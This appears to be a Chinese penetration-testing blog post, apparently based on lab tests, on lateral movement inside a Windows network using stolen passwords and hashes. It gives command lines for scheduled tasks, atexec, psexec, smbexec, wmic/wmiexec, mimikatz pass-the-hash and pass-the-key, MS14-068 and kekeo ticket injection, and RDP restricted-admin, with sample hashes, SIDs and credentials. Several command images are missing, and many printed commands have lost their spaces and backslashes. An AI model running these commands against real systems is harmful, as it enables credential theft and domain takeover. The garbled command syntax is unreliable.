首页 > 技术知识 > 正文

前言

当我们拿下 webshell 后,若其服务器有内网环境,在进一步测试中就需要进行内网渗透测试,对于内网渗透测试的方法常用的为:基于口令的横向移动和基于漏洞的攻击。本文主要从基于口令的横向移动,自己收集了网上比较主流的方法,但是自己才疏学浅,有说法错误之处希望大佬们能够在评论区中指出,感激不敬。

一、通过 at&schtasks 进行明文传递

说明:at&schtasks 都是 windows 上创建计划任务的命令,只是针对的版本不同,at 是 win2008 及一下;

1、前提条件:

1)能够获得明文密码

2)链接的目标主机需要administrator权限,普通权限不能够进行文件操作(工作组或域)

3)跳板主机任意权限

4)可在本地和远程执行

2、执行流程: 1)与目标主机建立IPC链接

2)拷贝要执行命令的脚本到目标主机

3)查看当前时间,创建计划任务(at&schtasks)

4)删除IPC链接

3、命令语句:(这里的命令语句在下面很多方法中都会有体现,所以下面若有用到该类似方法我将会简写)

基于口令的横向移动进行内网渗透测试-口令和指令

二、、atexec 进行明文与HASH传递

1、前提条件:

1)能够获得明文密码或密码hash值

2)目标主机需要连接administrator用户(工作组或域)

3)跳板主机任意权限

4)可在本地和远程执行

2、命令语句:

基于口令的横向移动进行内网渗透测试-口令和指令1

三、SMB 服务利用

1、psexec 工具传递

说明:SMB 服务可以通过明文或 hash 传递进行攻击,需要对方服务器 445 端口开放。psexec 工具有微软官方自带(不用考虑免杀),也有第三方制作(需要考虑免杀)。

前提条件:

1)能够获得明文密码或密码hash值(官方工具只能使用明文,第三方可以使用hash)

2)通过psexec工具的话只能在本地反弹shell,但是CS可以辅助我们使用psexec方法,远程反弹会话

3)建立的连接需要连接administrator用户,普通权限无法连接成功

4)跳板机任意权限

命令语句:

1)微软官方工具,只能通过明文建立

基于口令的横向移动进行内网渗透测试-口令和指令2

2)第三方工具,可以通过 hash 值建立

基于口令的横向移动进行内网渗透测试-口令和指令3

3) 通过 CS 进行传递,该方法我会在后期说 CS 的时候体现出来,比较简单,这里就不细说了

2、smbexec 工具传递

说明:该工具为第三方工具,在实际情况中需要考虑免杀请况,同时服务器需要开通 445 端口 前提条件:

1)能够获得明文密码或密码hash值(官方工具只能使用明文,第三方可以使用hash)

2)只能本地反弹shell,无法远程反弹

3)建立的连接需要连接administrator用户,普通权限无法连接成功

4)跳板机任意权限

命令语句:

基于口令的横向移动进行内网渗透测试-口令和指令4

四、WMI 服务利用

1、wmic 传递

说明:WMI 服务需要目标服务器开通 135 端口,同时需要目标服务器明文密码,该方法不会在目标服务器中留下日志,但是没有回显

前提条件:

1)获得明文密码

2)可在本地和远程执行

3)需要administrator用户账号,普通权限连接不成功

4)跳板机任意权限

命令语句: 1)wmic/node:192.168.89.3/user:administrator/password:123.comprocesscallcreate”cmd.exe/cnetuser>C:1.txt”#工作组

2)wmic/node:192.168.89.3/user:hackeradministrator/password:1qaz@2wsxprocesscallcreate”cmd.exe/cipconfig>C:1.txt”#域内

2、cscript 传递

说明:自带的 cscript 为明文传递,有回显,但是需要事先传入 wmiexec.vbs 文件,需要目标服务器开启 135 端口

前提条件:

1)获得明文密码

2)只能在本地执行

3)需要administrator用户账号,普通权限连接不成功

4)跳板机任意权限 命令语句: 1)cscript//nologowmiexec.vbs/shell192.168.89.3administrator123.com#工作组

2)cscript//nologowmiexec.vbs/shell192.168.89.3hackeradministrator123.com#域内

3、wmiexec 传递

说明:wmiexec 为第三方工具,需要注意免杀问题,也需要目标服务器开启 135 端口

前提条件:

1)获取明文密码或hash值

2)只能在本地执行

3)需要administrator用户账号,普通权限连接不成功

4)跳板机任意权限 命令语句: 1)wmiexec.exe./administrator:123.com@192.168.89.3″whoami”#工作组明文

2)wmiexec.exehacker/administrator:123.com@192.168.89.3″whoami”#域内明文

3)wmiexec.exe-hashes:afffeba176210fad4628f0524bfe1942./administrator@192.168.89.3″whoami”#hash值

五、PTH 横向传递攻击

说明:PTH 攻击建立在密码 hash 之上。攻击系统范围为 win7win2008r2win2012 等。若系统打了 KB2871997 补丁只能 administrator 连接,没有打补丁任何用户都可以连接

前提条件:

1)获取密码hash

2)判断是否打了补丁–KB2871997

3)跳板机权限为管理员权限

4)可以在本地和远程执行

5)值得注意的是,普通用户建立的连接,似乎权限过小,很多操作无法进行,所以我判断普通用户似乎是无效的

命令语句:

1)本地执行(基于 mimikatz 执行)

#基于mimikatz执行

1)sekurlsa::pth/user:sql2008/domain:hacker/ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d#域内hash传递

2)sekurlsa::pth/user:administrator/domain:workgroup/ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d#工作组hash

#弹出一个命令执行框,在这个框中建立了类似的ipc$连接,

#我们可以查看目录,下载文件,上传文件,创建计划任务执行文件

#如:

dir\sql2008.hacker.comc$

dir\192.168.89.3c$

2)远程执行(基于 CS 执行)

#基于CS执行

1)mimikatzsekurlsa::pth/user:administrator/domain:workgroup/ntlm:afffeba176210fad4628f0524bfe1942

2)steal_tokenPID

3)shelldir\192.168.89.3c$

六、PTK 横向传递攻击

说明:PTK 传递攻击针对的是打了 KB2871997 补丁的,未打补丁是不能用的,这里需要使用 mimikatz 获取 AES keys,获取命令为:sekurlsa::ekeys

前提条件:

1)判断是否打了KB2871997补丁

2)获取AES密码

3)跳板机的管理员权限

4)能在本地运行,远程没有测试成功 命令语句为: 1)mimikatz.exe”sekurlsa::ekeys”#获取aes

2)sekurlsa::pth/user:sql2008/domain:hacker/aes256:d7c1d9310753a2f7f240e5b2701dc1e6177d16a6e40af3c5cdff814719821c4b

七、PTT攻击

1、说明:PTT 攻击是利用 Kerberos 协议进行攻击的,常用的攻击手法有:MS14-068,Golden ticket,SILVER ticket。它是将连接合法的票据注入到内存中实现连接。 MS14-068 造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是 kb3011780

2、前提条件: 1)利用ms14-068、kekeo、本地票据在本地测试成功,

2)利用ms14-068、kekeo跳板机本地连接时可以是任意权限

3)利用ms14-068需要知道域内某用户的账号及明文密码

4)kekeo需要知道域内用户名与hash值

5)本地票据需要管理员权限(mimikatz导出票据需要高权限)

1)利用ms14-068远程连接需要管理员权限

3、命令语句:

1)利用 ms14-068

#1)本地连接

1)WMICuseraccountgetname,sid#sid获取,管理员权限获取的更多一点

2)ms14-068.exe-u域成员名@域名-ssid(域成员)-d域控制器地址-p域成员密码(生成TGT)

3)MS14-068.exe-uweb07@hacker.com-sS-1-5-21-2374949671-2603306159-227762320-1105-d192.168.89.2-p123@com

4)mimikatz.exe”kerberos::ptcTGT_mary@god.org.ccache”#(TGT票据注入)

5)dir\DC.hacker.comc$(注意要用域内域名连接,这里其实是类似建立了一条IPC$连接)

#2)远程连接,在CS中执行

1)WMICuseraccountgetname,sid//sid获取

2)mimikatzkerberos::list//列出当前票据

3)mimikatzkerberos::purge//清除票据

4)MS14-068.exe-uweb07@hacker.com-sS-1-5-21-2374949671-2603306159-227762320-1105-d192.168.89.2-p123@com//生成tgt票据

5)mimikatzkerberos::ptcTGT_web07@hacker.com.ccache//导入票据

6)shelldir\sql2008.hacker.com//利用

2)利用工具 kekeo(未成功)

1)ekeo”tgt::ask/user:mary/domain:god.org/ntlm:518b98ad4178a53695dc997aa02d455c”#生成票据

2)kerberos::pttTGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi#导入票据

4)dir\DC.hacker.comc$#利用

八、RDP 传递攻击 (测试失败)

1、说明:RDP 传递其实就是利用了远程桌面功能

2、前提条件:

1)获得对方账户明文或hash(用户需要是能够有远程桌面连接权限)

2)本地执行

3)跳板机任意权限

3、命令语句: sekurlsa::pth/user:administrator/domain:hacker.com/ntlm:2ba0f5fcb5c72afc4a6d612a005fe39d”/run:mstsc.exe/restrictedadmin”

总结

上述方法自己在本地搭建了靶场进行测试,可能有很多外在因数是自己没有考虑到的,所以可能会存在错误,欢迎各位大佬批评指正。

审核编辑:刘清

猜你喜欢